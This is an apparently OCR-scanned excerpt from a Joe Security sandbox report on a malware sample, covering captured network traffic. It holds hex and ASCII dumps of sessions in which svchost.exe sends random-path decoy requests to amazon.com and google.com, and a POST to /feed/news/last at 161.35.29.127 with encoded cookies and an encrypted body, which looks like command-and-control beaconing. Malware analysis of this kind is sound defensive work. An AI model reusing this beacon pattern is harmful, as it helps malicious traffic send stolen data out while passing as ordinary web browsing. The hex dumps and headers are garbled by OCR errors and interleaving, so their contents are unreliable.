747275 6e 63 28 31 30 30 2a 28 2b 6f 2b 30 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30 2a 28 2b 6f
2b 30 2b 74 29 29 7d 2c 6f 2b 3d 74 7d 29 7d 76 61 72 20 6¢ 3d 74 5b 30 5d 3b 69 66 28 6e 75 6¢ 6¢ 21 3d 6¢ 26 26 6¢
2e 62 75 6e 64 6¢ 65 73 29 7b 76 61 72 20 73 3d 6f 2c 75 3d 31 2d 6f 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6¢ 2e 62 75
6e 64 6¢ 65 73 29 2e 73 6f 72 74 28 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7h 76 61 72 20 74 3d
6c 2e 62 75 6e 64 6¢ 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30 2a 28
73 2b 75 2a 61 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72 75 6e 63

Data Ascii: {var t=c.bundles|e];i[e]={min:Math.trunc(100*(+0+0)),max:Math.trunc(100*(+o+0+t))},o+=t})}var |=t[0];if(null
1=I&&I.bundles){var s=o0,u=1-0;0bject.keys(l.bundles).sort().forEach(function(e){var t=I.bundles[e];i[e]={min:Math.trunc(100*
(stu*a)),max:Math.trunc

Data Raw: 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6f 29 7d 63 61 74 63 68 28 65 29 7b 7d 76 61 72 20 61 3d 64 6f
63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 3b 61 2e 69 6e 69
74 4375 73 74 6f 6d 45 76 65 6e 74 28 74 2c 6e 2e 62 75 62 62 6¢ 65 73 2c 6e 2e 63 61 6e 63 65 6¢ 61 62 6¢ 65 2C 6
2e 64 65 74 61 69 6¢ 29 2c 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 61 29 7d 66 3d 7b 22 35 36 3
731373337 3338383639 3535353222 3a7b 226469 67 65 73 74 22 3a 36 32 38 31 36 37 38 39 32 31 31 33 38
3137 36 2c 22 62 75 6e 64 6¢ 65 73 22 3a 7b 22 36 32 38 31 36 37 38 39 32 31 31 33 38 31 37 36 22 3a 31 7d 7d 2c 22
67 6¢ 6f 62 61 6C 22 3a 7b 22 64 69 67 65 73 74 22 3a 36 32 36 30 30 38

Data Ascii: .dispatchEvent(o)}catch(e){}var a=document.createEvent("CustomEvent");a.initCustomEvent(t,n.bubble
s,n.cancelable,n.detail),window.dispatchEvent(a)}f={"5671737388695552":{"digest":6281678921138176,"bundles":{"
6281678921138176":1}},"global":{"digest":626008
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kBytes
Timestamp transferred

2021-09-28 07:52:41 UTC 9

2021-09-28 07:52:41 UTC 10

2021-09-28 07:52:41 UTC 11

Session ID Source IP

10 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:44 UTC 895

2021-09-28 07:53:45 UTC 896

2021-09-28 07:53:45 UTC 896

Session ID Source IP

100 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:37 UTC 1117

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49886

Direction

ouT

Source Port
50070

Direction

ouT

Data

Data Raw: 6f 77 2e 6¢ 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 62 74 5f 64 65 62 75 67 3d 74 72
75652229 7c7c 2274727565 22 3d 3d 77 69 6e 64 6f 77 2e 6¢ 6f 63 61 6¢ 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65
6d 28 22 62 74 5f 64 65 62 75 67 22 29 29 26 26 28 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 3d 22 74 72 75 65 22
3d 3d 6¢ 6f 63 61 6¢ 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 66 6f 72 63 65 43 6f 6e 74 65 6e 74 22 29 7c 7c
70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 2¢ 70 2e 6d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 3d
22 74 7275 65 22 3d 3d 6¢ 6f 63 61 6¢ 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 66 6f 72 63 65 4d 6f 62 69 6C
65 43 6f 6e 74 65 6e 74 22 29 7c 7c 70 2e 6d 6f 62 69

Data Ascii: ow.location.href.indexOf("bt_debug=true")||"true"==window.localStorage.getltem("bt_debug"))&&(p.co
ntentEnabled="true"==localStorage.getltem("forceContent")||p.contentEnabled,p.mobileContentEnabled="true"==loc
alStorage.getltem("forceMobile Content")||p.mobi

Data Raw: 29 7c 6b 6¢ 6f 6e 7c 6b 70 74 20 7c 6b 77 63 5¢ 2d 7c 6b 79 6f 28 63 7c 6b 29 7c 6c 65 28 6e 6f 7c 78 69 29 7c
6c 67 28 20 67 7c 5¢ 2f 28 6b 7c 6¢ 7c 75 29 7c 35 30 7c 35 34 7c 5¢ 2d 5b 61 2d 77 5d 29 7c 6¢ 69 62 77 7c 6¢ 79 6e 78
7c 6d 315c2d 77 7c 6d 33 67 61 7c 6d 35 30 5¢ 2f 7c 6d 61 28 74 65 7c 75 69 7c 78 6f 29 7c 6d 63 28 30 31 7c 32 31 7c
6361 29 7c 6d 5c 2d 63 72 7c 6d 65 28 72 63 7c 72 69 29 7c 6d 69 28 6f 38 7c 6f 61 7c 74 73 29 7c 6d 6d 65 66 7c 6d 6f
283031 7c 3032 7c 62 69 7c 64 65 7c 64 6f 7c 74 28 5¢ 2d 7c 20 7c 6f 7c 76 29 7c 7a 7a 29 7c 6d 74 28 35 30 7c 70 31
7c 762029 7c 6d 77 62 70 7c 6d 79 77 61 7c 6e 31 30 5b 30 2d 32 5d 7c 6e 32 30 5b 32 2d 33 5d 7c 6e 33 30 28 30 7c
3229 7c 6e 3530 28 30 7c¢ 32 7c 35 29 7c 6e 37 28 30 28

Data Ascii: )|klon|kpt [kwc\-|kyo(c|k)|le(no|xi)|lg( g|V(Kk|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50V|ma(te|ui|xo)|mc(01|21|c
a)|m\-crme(rc|ri)|mi(o8|oa|ts)|mmeflmo(01|02|bi|de|do]t(\-| |o]v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)
|n50(0]2|5)|n7(0(

Data Raw: 2b 22 26 22 2b 6d 29 3b 72 65 74 75 72 6e 20 74 7d 28 6f 29 29 2c 5b 32 5d 3b 74 72 79 7b 44 28 7b 65 76 65
6e 74 4e 61 6d 65 3a 22 41 63 63 65 70 74 61 62 6¢ 65 41 64 73 49 6e 69 74 22 2¢ 70 61 79 6¢ 6f 61 64 3a 7b 64 65 74
61 69 6¢ 3a 21 31 7d 7d 29 2c 44 28 7h 65 76 65 6e 74 4e 61 6d 65 3a 22 75 70 6f 6e 69 74 49 6e 69 74 22 2¢c 70 61 79
6¢c 6f 61 64 3a 7b 64 65 74 61 69 6¢ 3a 21 31 7d 7d 29 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 5b 32 5d 7d 7
d 29 7d 29 7d 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 29 3b Oa

Data Ascii: +"&"+m);return t}(0)),[2];try{D({eventName:"AcceptableAdsInit",payload:{detail:!1}}),D({eventName:"uponitIni
t",payload:{detail:!1}})}catch(e){}return[2]}})P}()}catch(e){}}();

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /mS7tcFvOmenbltEqe10kZt3RTh6TjONav6pSUjendz71/hi9rDalavrg9vE2vmOgoWKm1tixc7dR82sfszmt6 1x7/7deyu5
tr5jcIblnsxekBzocGe5s2F6/8xNelja2elkelfr8nuh77e31I5/amNyklaxqqth8tpbrgeeqlieDznmn4D/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:45 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: VOED52P4E2C6XR8NJ1SW

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d 9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt={"(.W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /adjnjgdn9fird9joi5aoccowZcmxigkévge59f43iD/6RDRkx6696f1uxib2dMIk2Pdiilzif5Z5V0gla/oggjkxmNRw1u
srQQITowwql3if8rfvpIxikq9Doj8aV1W3va/sp3qirrfgtqivg3f310a6s1xi9zumR540am9h6493p/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:54:37 UTC 1118

2021-09-28 07:54:37 UTC 1118

2021-09-28 07:54:37 UTC 1119

Session ID Source IP

101 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:37 UTC 1121

2021-09-28 07:54:37 UTC 1122

2021-09-28 07:54:37 UTC 1122

2021-09-28 07:54:37 UTC 1123

Session ID Source IP

102 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50071

Direction

ouT

Source Port

50072

Direction

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1736

Date: Tue, 28 Sep 2021 07:54:37 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
2 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 726769 6e 3a303b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f323270 782061 7269 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</titte> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /gslielaqto24df8183m/0jGst3i6n6fg13MJ/4bceigRm2r87ycpnlu8y9ssKwmwtbuzkhzatBus6kg58Fw/dze Tx1tygga
k07knjYfblpgae04Cd2sdsgx3urO3wgmK/drfZvmojkfLh4FdUghS4u25uuevdslz/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1722

Date: Tue, 28 Sep 2021 07:54:37 GMT

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6€ 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
def{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2€ 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:54:37 UTC 1124

2021-09-28 07:54:37 UTC 1126

2021-09-28 07:54:40 UTC 1128

Session ID Source IP

103 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:38 UTC 1127

Copyright Joe Security LLC 2021

Direction

ouT

ouT

Source Port
50073

Direction
ouT

Data

POST /feed/news/last HTTP/1.1

Content-Type: application/octet-stream

Cookie: HSID=tedOfcOYdc65RX%2F26%2F3QUoPil5v3tuZwGpr7NytKG%2BlaxFGZP4gtgV%2BMz%2FfNE1oMxYg
c11WfyoPmSsBkYYOcys7kks9z46Qe3RNNg20zlyUokOQPsFecm8kLY|E96%2Bv%2Fh2QkB8allCxQfwxZk5IhoXEC4
9QpnoynX72tr%2BOn0O7Bp6F9VLx14i4y 7tWQcMS3H04%2FCCzGMuoDUWdyVYOoKPCu8QgQseuConb6bx
%2Fc4o0NINYBRO3yRUZCeSM2VgHbeBUW2ZAYeNcq3QEEfQfRu0%2BLY4FH|MTMY qf%2BmcW%2B%2BWkUU
AwhH8HuOjezNPXp1M8IcSxSh%2BKOyhQWYyfGVwlaVe6U7w%3D%3D;SIDCC=m360yvSKYsligCLZvel3q96mvnY3Uzmk
6UrUi%2F61BmwuPLJIVP%2FujTqfnRYy6DGTY ZIfFDOUgNXxGD2ooxwhytBnTc5NYtvviif4eajlux%2BtPFfCnknKvbj
VcBR4U9W2jvDJIKBnjJhngN3aUpaSzGx0ANN%2BkteydZjq7HLpV5QiBnFfb3Bqlbmt%2BxAqV2K6z%2Bf4giJgjsL%
2BaXfH9BrVnOCWsCejH1etJF28U%2FmjEeENRKQjKuwwxhayUSc1Bz6rLKXKBsTx4trH%2BFFWiOil25sV90Ccglwg
41%2FATUa080nVIj800w9Herzo7JIxWaWtRTP8t%2BJBY 6Mi3ct8ghv912bfEg%3D%3D;SID=0q%2FCy3IxtwKKOEKF
q07jHEde7%2Bqyg0X4gWLj6FHPJkcLEN1D05c6kmfkoho5Lg4Nyrnp%2BfNizclaw%2BQP02IbolvVOtNK43NZPUzs
n7uRmEdow8De4a3ms73cfBtS7t8Gh7BmF1Ksh8ig2AjbzCtZ4s%2F8H8QVIZTFPTIYZvp3MpFU9Qg1d%2BDolHbf42
Gm1mTG%2FCP%2FMeDI5jNC8M9DhcrmQpn7DloGhAASHPVpQ)ji6v8drcfh3VNzMiDexZGx%2FSE3YAZIW
8XJQ7PZ4%2F66Z8TAAPK 2ydsz7i1jLhAZQHFQ6ECsKSj8dv6SZUIgHKhfn8 TUUEWSye%2F4kzryOQbJYO%2FuB9Xtw%
3D%3D;SSID=0dXJKoRMZhIJIY2wTvdLVqjZWNtA2VId%2BF%2Fr9D20tE4i1RUVPhlauy9XoS%2BHeSPybvCprMwsh
HWQgCi2%2B4tPbtfbi9p55NVk5a8HD3t8Gt9YPJiv29rHSoOLXxNfMkghiyxLe7aapEPJL7hRP5LrKLYJR2fCVAdT9jJ
m66rvLIP9CIpuz80cCMo2i7pcQtTTqrA%2FIgaF0aB8f5VIAReZ0dvY%2FhYWQIviwI0kioxI%2BGLVLy9iBnPJ4yCM
p9zK8%2Bg1%2Bal%2Fc2VLhTs%2BCC%2BioSS%2Fqud6pcNBIMO6Eq91441%2BQtMQcsfxskwzJ3ruJBKviO0C5{%2
BM3TwbW8gxQUTjsFh6zcNDw%3D%3D;

X-Tag: 6¢cCcnH5LdpYFxofb1nMSiDAGNPjWB7Qmch7m72M8hW9%2FDfGFyYmOWjNEanle3eKruxHpgnay7igzxmlwN
WW8R30Se7KjSGaa2cRcSH5roKu2efilzzdxDLhOILRBcDWyY6JIX%2FEKIhtwYFiHar%2FMP%2BQ%2Bx0%2FuJ4QfvWZ
zwmAWKCHLFT3QbvHg8ZENdEaPYs3DSZ0ZfFwwXb7%2BuKBUMm%2FS694RI0Zhw0y%2BAsvSk7U%2BsG
WV1uVP7tuB%2BBmg2y4P8sJccOPYJ5c0qHq5uZ6rtapOkGfIEYyqHONzUz1ysVPolav%2FJV4Emf9amFPZ4hTqg8oi
G%2B6nn1lp70APhOV%2FVWc2%2Fsg%3D%3D

X-Csrf-Token: XY18fOVa%2Bmg%2F8i9uDqGjtaP82%2BP3yA%2FPNTCMAIfTtDSImMToGRIIEETILWWJPjJJpI29R
ledRNZrz5f1Q2BV9dklacsmnPsBYbD35lil6qLwa%2BdX2t8NIM9ZRJIYdPHmMJIH66Rk1BQ9urzjV2kos|%2B8hg9chK
QSK8hvfpudQmKp4QJeZ3s%2B9Snu4l%2Bk99etPGF96%2FGSipCn0Xa34F%2Bt2sM3tUa9BTQJI2iLcFKSEX7YAoH4m
NOWAOIAbpNQEZ1SykchimreSbWdUejnvIPjs9Kx3xkrYm9nsEGpRcCemn0xUUBgAlfofWcZCuJsowIJHG8Fo60OXPYoe
50vbPCozxzQelLVJIA%3D%3D

X-Request-ID: VKbZruMQ3JUMYQgp0cR21HrfJGIffUoHclzoBhLKGfZqCalklOFzESRYJTQa%2Bghvn7d%2Fg55%
2BXIPtsJR8xav1HSWFENfULuaGcdZUf%2Br2RWTWUggpmGSvPxzqY9T4VzINxGq3WellBrF%2BCfoQw%2BylI%2Fuiw7?
1%2Bxg3xxWGcW3Umky4Jj6%2BX5EQ%2FKIXIP04QIFbVLOEZDJeYNqu765naP1%2B0aRdHZHIDIAdsCI6DthYVGHA4i
Iwod1vzBUT|%2BABb%2FPXGZsCGB%2B2zipGDaHHB7QucxG7rhDHhK3pRXVDIhPIXO9nI7yBDRhuZ92iGRhd%2Frpx
3PN8JTp02fV%2FW9737Qx0lgBsdg%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: 7a 58 e2 09 fa 5e 6f 8e 24 f0 76 fd ¢9 ¢5 57 Oc 7f 2d 8f 2a 88 33 el f2 7d 98 f8 01 05 Oe cc 8d a4 56 7e c6 63 cc
41 3b 9e b3 aa 37 Oa de 49 aa el 5e 66 Oc cb e0 11 ae d9 8b de 8 f5 9c b2 6b 6b 71 ba 21 d1 24 7e 56 63 2f 5e f9 5a da
a0 e0 ea c2 d6 d7 7e 0f 03 63 b2 9f 22 78 e5 db ¢9 10 c3 bc af da 29 cb e7 81 ed 54 79 2f c1 af 84 34 3a 84 7c 18 54 d8 3¢
67 8e 95 a0 a2 8d aa db 20 Oe 2a 86 10 06 18 3e 40 0d 29 4a 88 6f 8c 59 Oe €9 be 77 5b 6d 1d ed 45 63 3 49 a4 65 79
13 e2 fe ee dd fd a3 6e a9 8¢ 00 45 ee d4 04 d2 d2 96 5¢ f7 c4 91 7a d2 3c ¢3 94 61 b9 f1 2b ba 26 50 a8 09 12 f2 a3 d7
c388a303 24 7699 62 92 07 43 9c 3d 9f b3 76 58 85 b7 99 98 ef 01 36 3e a5 7e 9c d3 96 da 31 7d b3 c8 1¢ 89 59 11 16
81 09 Oe dd 54 9d 3e 70 7f 3e 97 d3 84 d6 c6 eb e3

Data Ascii: ZX"0$vVW-*3}V~cA; 7IMkkq!$~Vc/AZ~c"x) Ty/4:| T<g *>@)JoYw[mEcleynE\z<a+&P$vbC=vX6>~1}Y T>p>
HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: text/html; charset=UTF-8

Connection: close

Date: Tue, 28 Sep 2021 07:54:40 GMT

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Destination IP  Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /ly30h9u0yrnbcne3gh/5uhvH6ErsXOH60rt7h9f2Kk8gUKz8Vjn/rccOfOuquugl4aQ9ttsh51100sgKiUmoU2A9/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:54:38 UTC 1127

2021-09-28 07:54:38 UTC 1128

Session ID Source IP

11 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:45 UTC 897

2021-09-28 07:53:45 UTC 897

2021-09-28 07:53:45 UTC 898

Session ID Source IP

12 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:46 UTC 899

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49887

Direction

ouT

Source Port
49892

Direction

ouT

Data

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:38 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: RFMXHZNCDGWYBX4W7HD3

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

